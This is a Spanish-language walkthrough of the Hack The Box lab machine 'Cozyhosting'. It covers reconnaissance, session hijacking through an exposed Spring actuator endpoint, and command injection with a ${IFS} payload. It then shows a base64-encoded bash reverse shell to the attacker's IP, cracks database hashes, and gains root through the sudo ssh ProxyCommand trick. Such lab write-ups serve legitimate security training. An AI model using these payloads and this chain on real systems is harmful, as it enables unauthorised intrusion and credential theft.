Entrada

Cozyhosting

Cozyhosting

Cozyhosting Linux · Easy - Adventure mode

🔭 Reconocimiento:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(pmartinezr㉿kali)-[~]
└─$ nmap -p- -sSVC --min-rate 5000 10.129.9.149
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 21:26 +0100
Nmap scan report for 10.129.9.149
Host is up (0.049s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.69 seconds

cozyhosting_web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
└─$ dirsearch -u http://cozyhosting.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _  _  _  _ _|_    v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/pmartinezr/htb/cozyhosting/reports/http_cozyhosting.htb/_26-02-15_21-43-15.txt
Target: http://cozyhosting.htb/
[21:43:15] Starting:
[21:43:26] 200 -    0B  - /;admin/
[21:43:26] 200 -    0B  - /;/login
[21:43:26] 200 -    0B  - /;/admin
[21:43:26] 200 -    0B  - /;/json
[21:43:26] 400 -  435B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[21:43:26] 200 -    0B  - /;login/
[21:43:26] 200 -    0B  - /;json/
[21:43:28] 400 -  435B  - /a%5c.aspx
[21:43:29] 200 -    0B  - /actuator/;/caches
[21:43:29] 200 -    0B  - /actuator/;/auditLog
[21:43:29] 200 -    0B  - /actuator/;/beans
[21:43:29] 200 -    0B  - /actuator/;/conditions
[21:43:29] 200 -    0B  - /actuator/;/configurationMetadata
[21:43:29] 200 -    0B  - /actuator/;/auditevents
[21:43:29] 200 -    0B  - /actuator/;/configprops
[21:43:29] 200 -    0B  - /actuator/;/dump
[21:43:29] 200 -    0B  - /actuator/;/jolokia
[21:43:29] 200 -    0B  - /actuator/;/scheduledtasks
[21:43:29] 200 -    0B  - /actuator/;/registeredServices
[21:43:29] 200 -    0B  - /actuator/;/resolveAttributes
[21:43:29] 200 -    0B  - /actuator/;/integrationgraph
[21:43:29] 200 -    0B  - /actuator/;/heapdump
[21:43:29] 200 -    0B  - /actuator/;/httptrace
[21:43:29] 200 -    0B  - /actuator/;/refresh
[21:43:29] 200 -    0B  - /actuator/;/features
[21:43:29] 200 -    0B  - /actuator/;/healthcheck
[21:43:29] 200 -    0B  - /actuator/;/metrics
[21:43:29] 200 -    0B  - /actuator/;/loggingConfig
[21:43:29] 200 -    0B  - /actuator/;/liquibase
[21:43:29] 200 -    0B  - /actuator/;/loggers
[21:43:29] 200 -    0B  - /actuator/;/health
[21:43:29] 200 -    0B  - /actuator/;/logfile
[21:43:29] 200 -    0B  - /actuator/;/prometheus
[21:43:29] 200 -    0B  - /actuator/;/releaseAttributes
[21:43:29] 200 -    0B  - /actuator/;/flyway
[21:43:29] 200 -    0B  - /actuator/;/mappings
[21:43:29] 200 -    0B  - /actuator/;/env
[21:43:29] 200 -    0B  - /actuator/;/exportRegisteredServices
[21:43:29] 200 -    0B  - /actuator/;/events
[21:43:29] 200 -    0B  - /actuator/;/info
[21:43:29] 200 -  634B  - /actuator
[21:43:29] 200 -    0B  - /actuator/;/sessions
[21:43:29] 200 -    0B  - /actuator/;/shutdown
[21:43:29] 200 -    0B  - /actuator/;/springWebflow
[21:43:29] 200 -    0B  - /actuator/;/ssoSessions
[21:43:29] 200 -    0B  - /actuator/;/sso
[21:43:29] 200 -    0B  - /actuator/;/statistics
[21:43:29] 200 -    0B  - /actuator/;/threaddump
[21:43:29] 200 -    0B  - /actuator/;/status
[21:43:29] 200 -    0B  - /actuator/;/trace
[21:43:30] 200 -   98B  - /actuator/sessions
[21:43:30] 200 -    5KB - /actuator/env
[21:43:30] 200 -   15B  - /actuator/health
[21:43:30] 200 -   10KB - /actuator/mappings
[21:43:30] 200 -  124KB - /actuator/beans
[21:43:31] 401 -   97B  - /admin
[21:43:31] 200 -    0B  - /admin/%3bindex/
[21:43:33] 200 -    0B  - /Admin;/
[21:43:33] 200 -    0B  - /admin;/
[21:43:43] 200 -    0B  - /axis2-web//HappyAxis.jsp
[21:43:43] 200 -    0B  - /axis//happyaxis.jsp
[21:43:43] 200 -    0B  - /axis2//axis2-web/HappyAxis.jsp
[21:43:47] 200 -    0B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js
[21:43:55] 200 -    0B  - /engine/classes/swfupload//swfupload.swf
[21:43:55] 200 -    0B  - /engine/classes/swfupload//swfupload_f9.swf
[21:43:55] 500 -   73B  - /error
[21:43:56] 200 -    0B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[21:43:56] 200 -    0B  - /extjs/resources//charts.swf
[21:44:02] 200 -    0B  - /html/js/misc/swfupload//swfupload.swf
[21:44:05] 200 -    0B  - /jkstatus;
[21:44:08] 200 -    4KB - /login
[21:44:08] 200 -    0B  - /login.wdm%2e
[21:44:09] 204 -    0B  - /logout
[21:44:09] 500 -  110B  - /logou.php
Task Completed

Dirseach encuentra varios directorios interesantes

cozyhosting_mappings

El directorio /actuator/mappings, nos muestra algunas rutas intersantes como /admin

cozyhosting_actuator

En uno de los directorios que encontramos con Dirseach /actuators/sessions descubrimos un usuario y un hash.

cozy_zap_actuator

Si comparamos ambos hashes nos daremos cuenta de que es la cookie de session, por lo que podemos intentar session hijacking (suplantar la sesión)

cozyhosting_kanderson_dashboard

Modificando en el navegado la cookie de sesión por la que hemos visto, podemos acceder a /admin suplantando la sesión de kardenson

cozyhosting_patching

En este punto toca jugar con el formulario, intentamos inyectar código para testear si tenemos algún RCE.

1
test;ping${IFS}-c${IFS}1${IFS}10.10.14.74

Por ejemplo este payload, hará que recibamos un ping desde cozyhosting.htb.

1
2
3
4
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:05:48.744658 IP cozyhosting.htb > 10.10.14.74: ICMP echo request, id 8, seq 1, length 64
11:05:48.744686 IP 10.10.14.74 > cozyhosting.htb: ICMP echo reply, id 8, seq 1, length 64

Lo compruebo con tcpdump y corroboramos que tenemos un RCE.

cozyhosting_exploit

1
2
3
┌──(pmartinezr㉿kali)-[~/htb/cozyhosting]
└─$ echo "bash -i >& /dev/tcp/10.10.14.74/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43NC80NDQ0IDA+JjEK

Tras varias pruebas consigo elaborar un payload que encodeado con base64 y no dejando espacios en el comando, conseguimos una shell inicial

👽 Acciones:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app@cozyhosting:/app$ ls
cloudhosting-0.0.1.jar
app@cozyhosting:/tmp/cloudhosting/META-INF$ grep -r passw
app@cozyhosting:/tmp/cloudhosting/META-INF$ cd ..
app@cozyhosting:/tmp/cloudhosting$ grep -r passw
grep: cloudhosting-0.0.1.jar: binary file matches
grep: BOOT-INF/lib/spring-security-crypto-6.0.1.jar: binary file matches
grep: BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.ttf: binary file matches
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-fill:before { content: "\eecf"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-line:before { content: "\eed0"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg:    <glyph glyph-name="lock-password-fill"
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg:    <glyph glyph-name="lock-password-line"
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-fill:before { content: "\eecf"; }
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-line:before { content: "\eed0"; }
grep: BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.eot: binary file matches
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-fill">
BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-line">
BOOT-INF/classes/templates/login.html:                                        <input type="password" name="password" class="form-control" id="yourPassword"
BOOT-INF/classes/templates/login.html:                                        <div class="invalid-feedback">Please enter your password!</div>
BOOT-INF/classes/templates/login.html:                                    <p th:if="${param.error}" class="text-center small">Invalid username or password</p>
BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR
grep: BOOT-INF/classes/htb/cloudhosting/database/CozyUser.class: binary file matches
grep: BOOT-INF/classes/htb/cloudhosting/secutiry/SecurityConfig.class: binary file matches
grep: BOOT-INF/classes/htb/cloudhosting/scheduled/FakeUser.class: binary file matches

Copio la aplicación cloudhosting-0.0.1.jar a una carpeta para echarle una ojeada. Investigas la aplicación y aparece una password Vg&nvzAQ7XxR.

1
2
3
4
5
6
7
8
9
10
app@cozyhosting:/tmp/cloudhosting/META-INF$ ss -putonal
Netid State  Recv-Q Send-Q      Local Address:Port Peer Address:PortProcess
udp   UNCONN 0      0           127.0.0.53%lo:53        0.0.0.0:*
udp   UNCONN 0      0                 0.0.0.0:68        0.0.0.0:*
tcp   LISTEN 0      511               0.0.0.0:80        0.0.0.0:*
tcp   LISTEN 0      4096        127.0.0.53%lo:53        0.0.0.0:*
tcp   LISTEN 0      128               0.0.0.0:22        0.0.0.0:*
tcp   LISTEN 0      244             127.0.0.1:5432      0.0.0.0:*
tcp   LISTEN 0      100    [::ffff:127.0.0.1]:8080            *:*    users:(("java",pid=1012,fd=19))
tcp   LISTEN 0      128                  [::]:22           [::]:*

El puerto 5432 por defecto es de Postgresql

1
2
3
4
5
name    |                           password                           | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

Nos conectamos a este Postgres con la password que contramoa anteriormente y sacamos unos hashes.

1
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

Hashcat obtiene la primera contraseña manchesterunited, que por cierto sale en otro reto de HTB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ ssh josh@cozyhosting.htb
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Sorry, try again.
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
josh@cozyhosting:~$ sudo ssh josh@localhost /bin/sh
josh@localhost's password:
josh@cozyhosting:~sudo ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x x
# whoami
root

La password se reutiliza con un usuario que estaba en /home/josh, y la escalada es muy sencilla https://gtfobins.org/gtfobins/ssh/

achivement

Esta entrada está licenciada bajo CC BY 4.0 por el autor.